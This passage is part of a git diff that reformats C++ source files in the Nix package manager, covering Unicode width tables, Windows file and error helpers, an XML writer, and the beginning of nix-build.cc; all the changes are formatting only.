{0x110C3, 0x110CC}, {0x110CE, 0x110CF}, + {0x110E9, 0x110EF}, {0x110FA, 0x110FF}, {0x11135, 0x11135}, {0x11148, 0x1114F}, {0x11177, 0x1117F}, + {0x111E0, 0x111E0}, {0x111F5, 0x111FF}, {0x11212, 0x11212}, {0x11242, 0x1127F}, {0x11287, 0x11287}, + {0x11289, 0x11289}, {0x1128E, 0x1128E}, {0x1129E, 0x1129E}, {0x112AA, 0x112AF}, {0x112EB, 0x112EF}, + {0x112FA, 0x112FF}, {0x11304, 0x11304}, {0x1130D, 0x1130E}, {0x11311, 0x11312}, {0x11329, 0x11329}, + {0x11331, 0x11331}, {0x11334, 0x11334}, {0x1133A, 0x1133A}, {0x11345, 0x11346}, {0x11349, 0x1134A}, + {0x1134E, 0x1134F}, {0x11351, 0x11356}, {0x11358, 0x1135C}, {0x11364, 0x11365}, {0x1136D, 0x1136F}, + {0x11375, 0x1137F}, {0x1138A, 0x1138A}, {0x1138C, 0x1138D}, {0x1138F, 0x1138F}, {0x113B6, 0x113B6}, + {0x113C1, 0x113C1}, {0x113C3, 0x113C4}, {0x113C6, 0x113C6}, {0x113CB, 0x113CB}, {0x113D6, 0x113D6}, + {0x113D9, 0x113E0}, {0x113E3, 0x113FF}, {0x1145C, 0x1145C}, {0x11462, 0x1147F}, {0x114C8, 0x114CF}, + {0x114DA, 0x1157F}, {0x115B6, 0x115B7}, {0x115DE, 0x115FF}, {0x11645, 0x1164F}, {0x1165A, 0x1165F}, + {0x1166D, 0x1167F}, {0x116BA, 0x116BF}, {0x116CA, 0x116CF}, {0x116E4, 0x116FF}, {0x1171B, 0x1171C}, + {0x1172C, 0x1172F}, {0x11747, 0x117FF}, {0x1183C, 0x1189F}, {0x118F3, 0x118FE}, {0x11907, 0x11908}, + {0x1190A, 0x1190B}, {0x11914, 0x11914}, {0x11917, 0x11917}, {0x11936, 0x11936}, {0x11939, 0x1193A}, + {0x11947, 0x1194F}, {0x1195A, 0x1199F}, {0x119A8, 0x119A9}, {0x119D8, 0x119D9}, {0x119E5, 0x119FF}, + {0x11A48, 0x11A4F}, {0x11AA3, 0x11AAF}, {0x11AF9, 0x11AFF}, {0x11B0A, 0x11BBF}, {0x11BE2, 0x11BEF}, + {0x11BFA, 0x11BFF}, {0x11C09, 0x11C09}, {0x11C37, 0x11C37}, {0x11C46, 0x11C4F}, {0x11C6D, 0x11C6F}, + {0x11C90, 0x11C91}, {0x11CA8, 0x11CA8}, {0x11CB7, 0x11CFF}, {0x11D07, 0x11D07}, {0x11D0A, 0x11D0A}, + {0x11D37, 0x11D39}, {0x11D3B, 0x11D3B}, {0x11D3E, 0x11D3E}, {0x11D48, 0x11D4F}, {0x11D5A, 0x11D5F}, + {0x11D66, 0x11D66}, {0x11D69, 0x11D69}, {0x11D8F, 0x11D8F}, {0x11D92, 0x11D92}, {0x11D99, 0x11D9F}, + {0x11DAA, 0x11EDF}, {0x11EF9, 0x11EFF}, {0x11F11, 0x11F11}, {0x11F3B, 0x11F3D}, {0x11F5B, 0x11FAF}, + {0x11FB1, 0x11FBF}, {0x11FF2, 0x11FFE}, {0x1239A, 0x123FF}, {0x1246F, 0x1246F}, {0x12475, 0x1247F}, + {0x12544, 0x12F8F}, {0x12FF3, 0x12FFF}, {0x13456, 0x1345F}, {0x143FB, 0x143FF}, {0x14647, 0x160FF}, + {0x1613A, 0x167FF}, {0x16A39, 0x16A3F}, {0x16A5F, 0x16A5F}, {0x16A6A, 0x16A6D}, {0x16ABF, 0x16ABF}, + {0x16ACA, 0x16ACF}, {0x16AEE, 0x16AEF}, {0x16AF6, 0x16AFF}, {0x16B46, 0x16B4F}, {0x16B5A, 0x16B5A}, + {0x16B62, 0x16B62}, {0x16B78, 0x16B7C}, {0x16B90, 0x16D3F}, {0x16D7A, 0x16E3F}, {0x16E9B, 0x16EFF}, + {0x16F4B, 0x16F4E}, {0x16F88, 0x16F8E}, {0x16FA0, 0x16FDF}, {0x16FE5, 0x16FEF}, {0x16FF2, 0x16FFF}, + {0x17001, 0x187F6}, {0x187F8, 0x187FF}, {0x18CD6, 0x18CFE}, {0x18D01, 0x18D07}, {0x18D09, 0x1AFEF}, + {0x1AFF4, 0x1AFF4}, {0x1AFFC, 0x1AFFC}, {0x1AFFF, 0x1AFFF}, {0x1B123, 0x1B131}, {0x1B133, 0x1B14F}, + {0x1B153, 0x1B154}, {0x1B156, 0x1B163}, {0x1B168, 0x1B16F}, {0x1B2FC, 0x1BBFF}, {0x1BC6B, 0x1BC6F}, + {0x1BC7D, 0x1BC7F}, {0x1BC89, 0x1BC8F}, {0x1BC9A, 0x1BC9B}, {0x1BCA4, 0x1CBFF}, {0x1CCFA, 0x1CCFF}, + {0x1CEB4, 0x1CEFF}, {0x1CF2E, 0x1CF2F}, {0x1CF47, 0x1CF4F}, {0x1CFC4, 0x1CFFF}, {0x1D0F6, 0x1D0FF}, + {0x1D127, 0x1D128}, {0x1D1EB, 0x1D1FF}, {0x1D246, 0x1D2BF}, {0x1D2D4, 0x1D2DF}, {0x1D2F4, 0x1D2FF}, + {0x1D357, 0x1D35F}, {0x1D379, 0x1D3FF}, {0x1D455, 0x1D455}, {0x1D49D, 0x1D49D}, {0x1D4A0, 0x1D4A1}, + {0x1D4A3, 0x1D4A4}, {0x1D4A7, 0x1D4A8}, {0x1D4AD, 0x1D4AD}, {0x1D4BA, 0x1D4BA}, {0x1D4BC, 0x1D4BC}, + {0x1D4C4, 0x1D4C4}, {0x1D506, 0x1D506}, {0x1D50B, 0x1D50C}, {0x1D515, 0x1D515}, {0x1D51D, 0x1D51D}, + {0x1D53A, 0x1D53A}, {0x1D53F, 0x1D53F}, {0x1D545, 0x1D545}, {0x1D547, 0x1D549}, {0x1D551, 0x1D551}, + {0x1D6A6, 0x1D6A7}, {0x1D7CC, 0x1D7CD}, {0x1DA8C, 0x1DA9A}, {0x1DAA0, 0x1DAA0}, {0x1DAB0, 0x1DEFF}, + {0x1DF1F, 0x1DF24}, {0x1DF2B, 0x1DFFF}, {0x1E007, 0x1E007}, {0x1E019, 0x1E01A}, {0x1E022, 0x1E022}, + {0x1E025, 0x1E025}, {0x1E02B, 0x1E02F}, {0x1E06E, 0x1E08E}, {0x1E090, 0x1E0FF}, {0x1E12D, 0x1E12F}, + {0x1E13E, 0x1E13F}, {0x1E14A, 0x1E14D}, {0x1E150, 0x1E28F}, {0x1E2AF, 0x1E2BF}, {0x1E2FA, 0x1E2FE}, + {0x1E300, 0x1E4CF}, {0x1E4FA, 0x1E5CF}, {0x1E5FB, 0x1E5FE}, {0x1E600, 0x1E7DF}, {0x1E7E7, 0x1E7E7}, + {0x1E7EC, 0x1E7EC}, {0x1E7EF, 0x1E7EF}, {0x1E7FF, 0x1E7FF}, {0x1E8C5, 0x1E8C6}, {0x1E8D7, 0x1E8FF}, + {0x1E94C, 0x1E94F}, {0x1E95A, 0x1E95D}, {0x1E960, 0x1EC70}, {0x1ECB5, 0x1ED00}, {0x1ED3E, 0x1EDFF}, + {0x1EE04, 0x1EE04}, {0x1EE20, 0x1EE20}, {0x1EE23, 0x1EE23}, {0x1EE25, 0x1EE26}, {0x1EE28, 0x1EE28}, + {0x1EE33, 0x1EE33}, {0x1EE38, 0x1EE38}, {0x1EE3A, 0x1EE3A}, {0x1EE3C, 0x1EE41}, {0x1EE43, 0x1EE46}, + {0x1EE48, 0x1EE48}, {0x1EE4A, 0x1EE4A}, {0x1EE4C, 0x1EE4C}, {0x1EE50, 0x1EE50}, {0x1EE53, 0x1EE53}, + {0x1EE55, 0x1EE56}, {0x1EE58, 0x1EE58}, {0x1EE5A, 0x1EE5A}, {0x1EE5C, 0x1EE5C}, {0x1EE5E, 0x1EE5E}, + {0x1EE60, 0x1EE60}, {0x1EE63, 0x1EE63}, {0x1EE65, 0x1EE66}, {0x1EE6B, 0x1EE6B}, {0x1EE73, 0x1EE73}, + {0x1EE78, 0x1EE78}, {0x1EE7D, 0x1EE7D}, {0x1EE7F, 0x1EE7F}, {0x1EE8A, 0x1EE8A}, {0x1EE9C, 0x1EEA0}, + {0x1EEA4, 0x1EEA4}, {0x1EEAA, 0x1EEAA}, {0x1EEBC, 0x1EEEF}, {0x1EEF2, 0x1EFFF}, {0x1F02C, 0x1F02F}, + {0x1F094, 0x1F09F}, {0x1F0AF, 0x1F0B0}, {0x1F0C0, 0x1F0C0}, {0x1F0D0, 0x1F0D0}, {0x1F0F6, 0x1F0FF}, + {0x1F1AE, 0x1F1E5}, {0x1F203, 0x1F20F}, {0x1F23C, 0x1F23F}, {0x1F249, 0x1F24F}, {0x1F252, 0x1F25F}, + {0x1F266, 0x1F2FF}, {0x1F6D8, 0x1F6DB}, {0x1F6ED, 0x1F6EF}, {0x1F6FD, 0x1F6FF}, {0x1F777, 0x1F77A}, + {0x1F7DA, 0x1F7DF}, {0x1F7EC, 0x1F7EF}, {0x1F7F1, 0x1F7FF}, {0x1F80C, 0x1F80F}, {0x1F848, 0x1F84F}, + {0x1F85A, 0x1F85F}, {0x1F888, 0x1F88F}, {0x1F8AE, 0x1F8AF}, {0x1F8BC, 0x1F8BF}, {0x1F8C2, 0x1F8FF}, + {0x1FA54, 0x1FA5F}, {0x1FA6E, 0x1FA6F}, {0x1FA7D, 0x1FA7F}, {0x1FA8A, 0x1FA8E}, {0x1FAC7, 0x1FACD}, + {0x1FADD, 0x1FADE}, {0x1FAEA, 0x1FAEF}, {0x1FAF9, 0x1FAFF}, {0x1FB93, 0x1FB93}, {0x1FBFA, 0x1FFFD}, + {0x20001, 0x2A6DE}, {0x2A6E0, 0x2A6FF}, {0x2A701, 0x2B738}, {0x2B73A, 0x2B73F}, {0x2B741, 0x2B81C}, + {0x2B81E, 0x2B81F}, {0x2B821, 0x2CEA0}, {0x2CEA2, 0x2CEAF}, {0x2CEB1, 0x2EBDF}, {0x2EBE1, 0x2EBEF}, + {0x2EBF1, 0x2EE5C}, {0x2EE5E, 0x2F7FF}, {0x2FA1E, 0x2FFFD}, {0x30001, 0x31349}, {0x3134B, 0x3134F}, + {0x31351, 0x323AE}, {0x323B0, 0x3FFFD}, {0x40000, 0x4FFFD}, {0x50000, 0x5FFFD}, {0x60000, 0x6FFFD}, + {0x70000, 0x7FFFD}, {0x80000, 0x8FFFD}, {0x90000, 0x9FFFD}, {0xA0000, 0xAFFFD}, {0xB0000, 0xBFFFD}, + {0xC0000, 0xCFFFD}, {0xD0000, 0xDFFFD}, {0xE0000, 0xE0000}, {0xE0002, 0xE001F}, {0xE0080, 0xE00FF}, + {0xE01F0, 0xEFFFD}}; /* Non-characters. */ static const struct widechar_range widechar_nonchar_table[] = { @@ -1450,88 +362,36 @@ static const struct widechar_range widechar_nonchar_table[] = { {0xDFFFE, 0xDFFFF}, {0xEFFFE, 0xEFFFF}, {0xFFFFE, 0xFFFFF}, - {0x10FFFE, 0x10FFFF} -}; + {0x10FFFE, 0x10FFFF}}; /* Characters that were widened from width 1 to 2 in Unicode 9. */ static const struct widechar_range widechar_widened_table[] = { - {0x0231A, 0x0231B}, - {0x023E9, 0x023EC}, - {0x023F0, 0x023F0}, - {0x023F3, 0x023F3}, - {0x025FD, 0x025FE}, - {0x02614, 0x02615}, - {0x02648, 0x02653}, - {0x0267F, 0x0267F}, - {0x02693, 0x02693}, - {0x026A1, 0x026A1}, - {0x026AA, 0x026AB}, - {0x026BD, 0x026BE}, - {0x026C4, 0x026C5}, - {0x026CE, 0x026CE}, - {0x026D4, 0x026D4}, - {0x026EA, 0x026EA}, - {0x026F2, 0x026F3}, - {0x026F5, 0x026F5}, - {0x026FA, 0x026FA}, - {0x026FD, 0x026FD}, - {0x02705, 0x02705}, - {0x0270A, 0x0270B}, - {0x02728, 0x02728}, - {0x0274C, 0x0274C}, - {0x0274E, 0x0274E}, - {0x02753, 0x02755}, - {0x02757, 0x02757}, - {0x02795, 0x02797}, - {0x027B0, 0x027B0}, - {0x027BF, 0x027BF}, - {0x02B1B, 0x02B1C}, - {0x02B50, 0x02B50}, - {0x02B55, 0x02B55}, - {0x1F004, 0x1F004}, - {0x1F0CF, 0x1F0CF}, - {0x1F18E, 0x1F18E}, - {0x1F191, 0x1F19A}, - {0x1F201, 0x1F201}, - {0x1F21A, 0x1F21A}, - {0x1F22F, 0x1F22F}, - {0x1F232, 0x1F236}, - {0x1F238, 0x1F23A}, - {0x1F250, 0x1F251}, - {0x1F300, 0x1F320}, - {0x1F32D, 0x1F335}, - {0x1F337, 0x1F37C}, - {0x1F37E, 0x1F393}, - {0x1F3A0, 0x1F3CA}, - {0x1F3CF, 0x1F3D3}, - {0x1F3E0, 0x1F3F0}, - {0x1F3F4, 0x1F3F4}, - {0x1F3F8, 0x1F43E}, - {0x1F440, 0x1F440}, - {0x1F442, 0x1F4FC}, - {0x1F4FF, 0x1F53D}, - {0x1F54B, 0x1F54E}, - {0x1F550, 0x1F567}, - {0x1F595, 0x1F596}, - {0x1F5FB, 0x1F64F}, - {0x1F680, 0x1F6C5}, - {0x1F6CC, 0x1F6CC}, - {0x1F6D0, 0x1F6D0}, - {0x1F6EB, 0x1F6EC}, - {0x1F910, 0x1F918}, - {0x1F980, 0x1F984}, - {0x1F9C0, 0x1F9C0} -}; + {0x0231A, 0x0231B}, {0x023E9, 0x023EC}, {0x023F0, 0x023F0}, {0x023F3, 0x023F3}, {0x025FD, 0x025FE}, + {0x02614, 0x02615}, {0x02648, 0x02653}, {0x0267F, 0x0267F}, {0x02693, 0x02693}, {0x026A1, 0x026A1}, + {0x026AA, 0x026AB}, {0x026BD, 0x026BE}, {0x026C4, 0x026C5}, {0x026CE, 0x026CE}, {0x026D4, 0x026D4}, + {0x026EA, 0x026EA}, {0x026F2, 0x026F3}, {0x026F5, 0x026F5}, {0x026FA, 0x026FA}, {0x026FD, 0x026FD}, + {0x02705, 0x02705}, {0x0270A, 0x0270B}, {0x02728, 0x02728}, {0x0274C, 0x0274C}, {0x0274E, 0x0274E}, + {0x02753, 0x02755}, {0x02757, 0x02757}, {0x02795, 0x02797}, {0x027B0, 0x027B0}, {0x027BF, 0x027BF}, + {0x02B1B, 0x02B1C}, {0x02B50, 0x02B50}, {0x02B55, 0x02B55}, {0x1F004, 0x1F004}, {0x1F0CF, 0x1F0CF}, + {0x1F18E, 0x1F18E}, {0x1F191, 0x1F19A}, {0x1F201, 0x1F201}, {0x1F21A, 0x1F21A}, {0x1F22F, 0x1F22F}, + {0x1F232, 0x1F236}, {0x1F238, 0x1F23A}, {0x1F250, 0x1F251}, {0x1F300, 0x1F320}, {0x1F32D, 0x1F335}, + {0x1F337, 0x1F37C}, {0x1F37E, 0x1F393}, {0x1F3A0, 0x1F3CA}, {0x1F3CF, 0x1F3D3}, {0x1F3E0, 0x1F3F0}, + {0x1F3F4, 0x1F3F4}, {0x1F3F8, 0x1F43E}, {0x1F440, 0x1F440}, {0x1F442, 0x1F4FC}, {0x1F4FF, 0x1F53D}, + {0x1F54B, 0x1F54E}, {0x1F550, 0x1F567}, {0x1F595, 0x1F596}, {0x1F5FB, 0x1F64F}, {0x1F680, 0x1F6C5}, + {0x1F6CC, 0x1F6CC}, {0x1F6D0, 0x1F6D0}, {0x1F6EB, 0x1F6EC}, {0x1F910, 0x1F918}, {0x1F980, 0x1F984}, + {0x1F9C0, 0x1F9C0}}; template -bool widechar_in_table(const Collection &arr, uint32_t c) { - auto where = std::lower_bound(std::begin(arr), std::end(arr), c, - [](widechar_range p, uint32_t c) { return p.hi < c; }); +bool widechar_in_table(const Collection & arr, uint32_t c) +{ + auto where = + std::lower_bound(std::begin(arr), std::end(arr), c, [](widechar_range p, uint32_t c) { return p.hi < c; }); return where != std::end(arr) && where->lo <= c; } /* Return the width of character c, or a special negative value. */ -int widechar_wcwidth(uint32_t c) { +int widechar_wcwidth(uint32_t c) +{ if (widechar_in_table(widechar_ascii_table, c)) return 1; if (widechar_in_table(widechar_private_table, c)) diff --git a/src/libutil/windows/file-descriptor.cc b/src/libutil/windows/file-descriptor.cc index f451bc0d3..d75a18abf 100644 --- a/src/libutil/windows/file-descriptor.cc +++ b/src/libutil/windows/file-descriptor.cc @@ -6,12 +6,12 @@ #include "nix/util/file-path.hh" #ifdef _WIN32 -#include -#include -#include -#include -#define WIN32_LEAN_AND_MEAN -#include +# include +# include +# include +# include +# define WIN32_LEAN_AND_MEAN +# include namespace nix { @@ -26,7 +26,6 @@ std::string readFile(HANDLE handle) return drainFD(handle, true, li.QuadPart); } - void readFull(HANDLE handle, char * buf, size_t count) { while (count) { @@ -34,34 +33,34 @@ void readFull(HANDLE handle, char * buf, size_t count) DWORD res; if (!ReadFile(handle, (char *) buf, count, &res, NULL)) throw WinError("%s:%d reading from file", __FILE__, __LINE__); - if (res == 0) throw EndOfFile("unexpected end-of-file"); + if (res == 0) + throw EndOfFile("unexpected end-of-file"); count -= res; buf += res; } } - void writeFull(HANDLE handle, std::string_view s, bool allowInterrupts) { while (!s.empty()) { - if (allowInterrupts) checkInterrupt(); + if (allowInterrupts) + checkInterrupt(); DWORD res; -#if _WIN32_WINNT >= 0x0600 +# if _WIN32_WINNT >= 0x0600 auto path = handleToPath(handle); // debug; do it before becuase handleToPath changes lasterror if (!WriteFile(handle, s.data(), s.size(), &res, NULL)) { throw WinError("writing to file %1%:%2%", handle, path); } -#else +# else if (!WriteFile(handle, s.data(), s.size(), &res, NULL)) { throw WinError("writing to file %1%", handle); } -#endif +# endif if (res > 0) s.remove_prefix(res); } } - std::string readLine(HANDLE handle, bool eofOk) { std::string s; @@ -77,16 +76,15 @@ std::string readLine(HANDLE handle, bool eofOk) return s; else throw EndOfFile("unexpected EOF reading a line"); - } - else { - if (ch == '\n') return s; + } else { + if (ch == '\n') + return s; s += ch; } } } - -void drainFD(HANDLE handle, Sink & sink/*, bool block*/) +void drainFD(HANDLE handle, Sink & sink /*, bool block*/) { std::vector buf(64 * 1024); while (1) { @@ -97,16 +95,14 @@ void drainFD(HANDLE handle, Sink & sink/*, bool block*/) if (winError.lastError == ERROR_BROKEN_PIPE) break; throw winError; - } - else if (rd == 0) break; + } else if (rd == 0) + break; sink({(char *) buf.data(), (size_t) rd}); } } - ////////////////////////////////////////////////////////////////////// - void Pipe::create() { SECURITY_ATTRIBUTES saAttr = {0}; @@ -122,35 +118,38 @@ void Pipe::create() writeSide = hWritePipe; } - ////////////////////////////////////////////////////////////////////// -#if _WIN32_WINNT >= 0x0600 +# if _WIN32_WINNT >= 0x0600 -std::wstring windows::handleToFileName(HANDLE handle) { +std::wstring windows::handleToFileName(HANDLE handle) +{ std::vector buf(0x100); DWORD dw = GetFinalPathNameByHandleW(handle, buf.data(), buf.size(), FILE_NAME_OPENED); if (dw == 0) { - if (handle == GetStdHandle(STD_INPUT_HANDLE )) return L""; - if (handle == GetStdHandle(STD_OUTPUT_HANDLE)) return L""; - if (handle == GetStdHandle(STD_ERROR_HANDLE )) return L""; + if (handle == GetStdHandle(STD_INPUT_HANDLE)) + return L""; + if (handle == GetStdHandle(STD_OUTPUT_HANDLE)) + return L""; + if (handle == GetStdHandle(STD_ERROR_HANDLE)) + return L""; return (boost::wformat(L"") % handle).str(); } if (dw > buf.size()) { buf.resize(dw); - if (GetFinalPathNameByHandleW(handle, buf.data(), buf.size(), FILE_NAME_OPENED) != dw-1) + if (GetFinalPathNameByHandleW(handle, buf.data(), buf.size(), FILE_NAME_OPENED) != dw - 1) throw WinError("GetFinalPathNameByHandleW"); dw -= 1; } return std::wstring(buf.data(), dw); } - -Path windows::handleToPath(HANDLE handle) { +Path windows::handleToPath(HANDLE handle) +{ return os_string_to_string(handleToFileName(handle)); } -#endif +# endif } #endif diff --git a/src/libutil/windows/file-path.cc b/src/libutil/windows/file-path.cc index 03cc5afe5..31ad0899f 100644 --- a/src/libutil/windows/file-path.cc +++ b/src/libutil/windows/file-path.cc @@ -11,14 +11,15 @@ namespace nix { std::optional maybePath(PathView path) { - if (path.length() >= 3 && (('A' <= path[0] && path[0] <= 'Z') || ('a' <= path[0] && path[0] <= 'z')) && path[1] == ':' && WindowsPathTrait::isPathSep(path[2])) { - std::filesystem::path::string_type sw = string_to_os_string( - std::string { "\\\\?\\" } + path); + if (path.length() >= 3 && (('A' <= path[0] && path[0] <= 'Z') || ('a' <= path[0] && path[0] <= 'z')) + && path[1] == ':' && WindowsPathTrait::isPathSep(path[2])) { + std::filesystem::path::string_type sw = string_to_os_string(std::string{"\\\\?\\"} + path); std::replace(sw.begin(), sw.end(), '/', '\\'); return sw; } - if (path.length() >= 7 && path[0] == '\\' && path[1] == '\\' && (path[2] == '.' || path[2] == '?') && path[3] == '\\' && - ('A' <= path[4] && path[4] <= 'Z') && path[5] == ':' && WindowsPathTrait::isPathSep(path[6])) { + if (path.length() >= 7 && path[0] == '\\' && path[1] == '\\' && (path[2] == '.' || path[2] == '?') + && path[3] == '\\' && ('A' <= path[4] && path[4] <= 'Z') && path[5] == ':' + && WindowsPathTrait::isPathSep(path[6])) { std::filesystem::path::string_type sw = string_to_os_string(path); std::replace(sw.begin(), sw.end(), '/', '\\'); return sw; @@ -31,7 +32,7 @@ std::filesystem::path pathNG(PathView path) std::optional sw = maybePath(path); if (!sw) { // FIXME why are we not using the regular error handling? - std::cerr << "invalid path for WinAPI call ["< +# include -#include "nix/util/error.hh" +# include "nix/util/error.hh" namespace nix::windows { @@ -25,8 +25,9 @@ public: * information to the message. */ template - WinError(DWORD lastError, const Args & ... args) - : SystemError(""), lastError(lastError) + WinError(DWORD lastError, const Args &... args) + : SystemError("") + , lastError(lastError) { auto hf = HintFmt(args...); err.msg = HintFmt("%1%: %2%", Uncolored(hf.str()), renderError(lastError)); @@ -39,8 +40,8 @@ public: * before calling this constructor! */ template - WinError(const Args & ... args) - : WinError(GetLastError(), args ...) + WinError(const Args &... args) + : WinError(GetLastError(), args...) { } diff --git a/src/libutil/windows/processes.cc b/src/libutil/windows/processes.cc index 099dff31b..1a3234f79 100644 --- a/src/libutil/windows/processes.cc +++ b/src/libutil/windows/processes.cc @@ -25,8 +25,8 @@ #ifdef _WIN32 -#define WIN32_LEAN_AND_MEAN -#include +# define WIN32_LEAN_AND_MEAN +# include namespace nix { @@ -84,8 +84,13 @@ int Pid::wait() std::string runProgram( Path program, bool lookupPath, const Strings & args, const std::optional & input, bool isInteractive) { - auto res = runProgram(RunOptions{ - .program = program, .lookupPath = lookupPath, .args = args, .input = input, .isInteractive = isInteractive}); + auto res = runProgram( + RunOptions{ + .program = program, + .lookupPath = lookupPath, + .args = args, + .input = input, + .isInteractive = isInteractive}); if (!statusOk(res.first)) throw ExecError(res.first, "program '%1%' %2%", program, statusToString(res.first)); diff --git a/src/libutil/windows/users.cc b/src/libutil/windows/users.cc index 90da0281f..fe069f0b1 100644 --- a/src/libutil/windows/users.cc +++ b/src/libutil/windows/users.cc @@ -5,8 +5,8 @@ #include "nix/util/windows-error.hh" #ifdef _WIN32 -#define WIN32_LEAN_AND_MEAN -#include +# define WIN32_LEAN_AND_MEAN +# include namespace nix { @@ -37,8 +37,7 @@ std::string getUserName() Path getHome() { - static Path homeDir = []() - { + static Path homeDir = []() { Path homeDir = getEnv("USERPROFILE").value_or("C:\\Users\\Default"); assert(!homeDir.empty()); return canonPath(homeDir); @@ -46,7 +45,8 @@ Path getHome() return homeDir; } -bool isRootUser() { +bool isRootUser() +{ return false; } diff --git a/src/libutil/windows/windows-error.cc b/src/libutil/windows/windows-error.cc index 1e7aff830..963029d21 100644 --- a/src/libutil/windows/windows-error.cc +++ b/src/libutil/windows/windows-error.cc @@ -1,9 +1,9 @@ #include "nix/util/windows-error.hh" #ifdef _WIN32 -#include -#define WIN32_LEAN_AND_MEAN -#include +# include +# define WIN32_LEAN_AND_MEAN +# include namespace nix::windows { @@ -11,18 +11,20 @@ std::string WinError::renderError(DWORD lastError) { LPSTR errorText = NULL; - FormatMessageA( FORMAT_MESSAGE_FROM_SYSTEM // use system message tables to retrieve error text - |FORMAT_MESSAGE_ALLOCATE_BUFFER // allocate buffer on local heap for error text - |FORMAT_MESSAGE_IGNORE_INSERTS, // Important! will fail otherwise, since we're not (and CANNOT) pass insertion parameters - NULL, // unused with FORMAT_MESSAGE_FROM_SYSTEM - lastError, - MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), - (LPTSTR)&errorText, // output - 0, // minimum size for output buffer - NULL); // arguments - see note + FormatMessageA( + FORMAT_MESSAGE_FROM_SYSTEM // use system message tables to retrieve error text + | FORMAT_MESSAGE_ALLOCATE_BUFFER // allocate buffer on local heap for error text + | FORMAT_MESSAGE_IGNORE_INSERTS, // Important! will fail otherwise, since we're not (and CANNOT) pass + // insertion parameters + NULL, // unused with FORMAT_MESSAGE_FROM_SYSTEM + lastError, + MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), + (LPTSTR) &errorText, // output + 0, // minimum size for output buffer + NULL); // arguments - see note - if (NULL != errorText ) { - std::string s2 { errorText }; + if (NULL != errorText) { + std::string s2{errorText}; LocalFree(errorText); return s2; } diff --git a/src/libutil/xml-writer.cc b/src/libutil/xml-writer.cc index e460dd169..a698b2f4e 100644 --- a/src/libutil/xml-writer.cc +++ b/src/libutil/xml-writer.cc @@ -2,95 +2,95 @@ #include "nix/util/xml-writer.hh" - namespace nix { - XMLWriter::XMLWriter(bool indent, std::ostream & output) - : output(output), indent(indent) + : output(output) + , indent(indent) { output << "" << std::endl; closed = false; } - XMLWriter::~XMLWriter() { close(); } - void XMLWriter::close() { - if (closed) return; - while (!pendingElems.empty()) closeElement(); + if (closed) + return; + while (!pendingElems.empty()) + closeElement(); closed = true; } - void XMLWriter::indent_(size_t depth) { - if (!indent) return; + if (!indent) + return; output << std::string(depth * 2, ' '); } - -void XMLWriter::openElement( - std::string_view name, - const XMLAttrs & attrs) +void XMLWriter::openElement(std::string_view name, const XMLAttrs & attrs) { assert(!closed); indent_(pendingElems.size()); output << "<" << name; writeAttrs(attrs); output << ">"; - if (indent) output << std::endl; + if (indent) + output << std::endl; pendingElems.push_back(std::string(name)); } - void XMLWriter::closeElement() { assert(!pendingElems.empty()); indent_(pendingElems.size() - 1); output << ""; - if (indent) output << std::endl; + if (indent) + output << std::endl; pendingElems.pop_back(); - if (pendingElems.empty()) closed = true; + if (pendingElems.empty()) + closed = true; } - -void XMLWriter::writeEmptyElement( - std::string_view name, - const XMLAttrs & attrs) +void XMLWriter::writeEmptyElement(std::string_view name, const XMLAttrs & attrs) { assert(!closed); indent_(pendingElems.size()); output << "<" << name; writeAttrs(attrs); output << " />"; - if (indent) output << std::endl; + if (indent) + output << std::endl; } - void XMLWriter::writeAttrs(const XMLAttrs & attrs) { for (auto & i : attrs) { output << " " << i.first << "=\""; for (size_t j = 0; j < i.second.size(); ++j) { char c = i.second[j]; - if (c == '"') output << """; - else if (c == '<') output << "<"; - else if (c == '>') output << ">"; - else if (c == '&') output << "&"; + if (c == '"') + output << """; + else if (c == '<') + output << "<"; + else if (c == '>') + output << ">"; + else if (c == '&') + output << "&"; /* Escape newlines to prevent attribute normalisation (see XML spec, section 3.3.3. */ - else if (c == '\n') output << " "; - else output << c; + else if (c == '\n') + output << " "; + else + output << c; } output << "\""; } } - } diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index 45f891808..548765447 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -33,7 +33,7 @@ using namespace nix; using namespace std::string_literals; -extern char * * environ __attribute__((weak)); +extern char ** environ __attribute__((weak)); /* Recreate the effect of the perl shellwords function, breaking up a * string into arguments like a shell word, including escapes @@ -44,11 +44,7 @@ static std::vector shellwords(std::string_view s) auto begin = s.cbegin(); std::vector res; std::string cur; - enum state { - sBegin, - sSingleQuote, - sDoubleQuote - }; + enum state { sBegin, sSingleQuote, sDoubleQuote }; state st = sBegin; auto it = begin; for (; it != s.cend(); ++it) { @@ -58,36 +54,38 @@ static std::vector shellwords(std::string_view s) cur.append(begin, it); res.push_back(cur); it = match[0].second; - if (it == s.cend()) return res; + if (it == s.cend()) + return res; begin = it; cur.clear(); } } switch (*it) { - case '\'': - if (st != sDoubleQuote) { - cur.append(begin, it); - begin = it + 1; - st = st == sBegin ? sSingleQuote : sBegin; - } - break; - case '"': - if (st != sSingleQuote) { - cur.append(begin, it); - begin = it + 1; - st = st == sBegin ? sDoubleQuote : sBegin; - } - break; - case '\\': - if (st != sSingleQuote) { - /* perl shellwords mostly just treats the next char as part of the string with no special processing */ - cur.append(begin, it); - begin = ++it; - } - break; + case '\'': + if (st != sDoubleQuote) { + cur.append(begin, it); + begin = it + 1; + st = st == sBegin ? sSingleQuote : sBegin; + } + break; + case '"': + if (st != sSingleQuote) { + cur.append(begin, it); + begin = it + 1; + st = st == sBegin ? sDoubleQuote : sBegin; + } + break; + case '\\': + if (st != sSingleQuote) { + /* perl shellwords mostly just treats the next char as part of the string with no special processing */ + cur.append(begin, it); + begin = ++it; + } + break; } } - if (st != sBegin) throw Error("unterminated quote in shebang line"); + if (st != sBegin) + throw Error("unterminated quote in shebang line"); cur.append(begin, it); res.push_back(cur); return res; @@ -106,7 +104,8 @@ static SourcePath resolveShellExprPath(SourcePath path) if (compatibilitySettings.nixShellAlwaysLooksForShellNix) { return resolvedOrDir / "shell.nix"; } else { - warn("Skipping '%1%', because the setting '%2%' is disabled. This is a deprecated behavior. Consider enabling '%2%'.", + warn( + "Skipping '%1%', because the setting '%2%' is disabled. This is a deprecated behavior. Consider enabling '%2%'.", resolvedOrDir / "shell.nix", "nix-shell-always-looks-for-shell-nix"); } @@ -119,7 +118,7 @@ static SourcePath resolveShellExprPath(SourcePath path) return resolvedOrDir; } -static void main_nix_build(int argc, char * * argv) +static void main_nix_build(int argc, char ** argv) { auto dryRun = false; auto 